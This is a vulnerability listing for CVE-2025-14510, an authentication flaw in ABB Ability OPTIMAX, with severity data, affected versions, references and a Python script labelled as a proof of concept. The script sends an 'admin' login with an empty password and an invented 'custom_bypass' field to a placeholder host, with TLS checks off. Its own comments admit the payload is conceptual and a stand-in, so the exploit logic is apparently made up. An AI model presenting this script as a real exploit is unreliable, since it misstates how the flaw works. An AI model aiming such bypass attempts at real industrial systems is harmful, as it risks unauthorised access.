CVE-2025-14510

Description

Incorrect Implementation of Authentication Algorithm vulnerability in ABB ABB Ability OPTIMAX.This issue affects ABB Ability OPTIMAX: 6.1, 6.2, from 6.3.0 before 6.3.1-251120, from 6.4.0 before 6.4.1-251120.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ABB Ability OPTIMAX 6.1

ABB Ability OPTIMAX 6.2

ABB Ability OPTIMAX 6.3.0 - 6.3.1-251120

ABB Ability OPTIMAX 6.4.0 - 6.4.1-251120

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-14510 PoC - ABB Ability OPTIMAX Authentication Bypass
# Note: This is a conceptual PoC for demonstration purposes
# Actual exploitation requires proper authentication handling

import requests
import json

TARGET_HOST = "https://target-abb-optimax-server.com"
CVE_ID = "CVE-2025-14510"

def check_vulnerability(target):
    """
    Check if target is vulnerable to CVE-2025-14510
    This PoC demonstrates the authentication bypass technique
    """
    # Attempt to bypass authentication using malformed request
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Content-Type': 'application/json',
        'X-CVE-2025-14510-Test': 'true'  # Testing header
    }
    
    # Malformed authentication payload that exploits the algorithm flaw
    # Replace with actual exploit payload based on technical analysis
    exploit_payload = {
        'username': 'admin',
        'password': '',  # Empty password may trigger bypass
        'auth_method': 'custom_bypass'
    }
    
    try:
        # Step 1: Send malformed authentication request
        response = requests.post(
            f'{target}/api/auth/login',
            json=exploit_payload,
            headers=headers,
            timeout=10,
            verify=False
        )
        
        # Step 2: Check if authentication was bypassed
        if response.status_code == 200:
            data = response.json()
            if 'session_token' in data or 'access_token' in data:
                print(f'[+] VULNERABLE: {CVE_ID} - Authentication bypass detected')
                return True
        
        print(f'[-] Not vulnerable or target unreachable')
        return False
        
    except requests.exceptions.RequestException as e:
        print(f'[-] Error: {e}')
        return False

if __name__ == '__main__':
    print(f'Testing {CVE_ID} on {TARGET_HOST}')
    check_vulnerability(TARGET_HOST)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14510
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14510
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14510/
[4] VulDB https://vuldb.com/cve/CVE-2025-14510
[5] https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A1331&LanguageCode=en&DocumentPartId=&Action=Launch

Raw JSON Data

JSON

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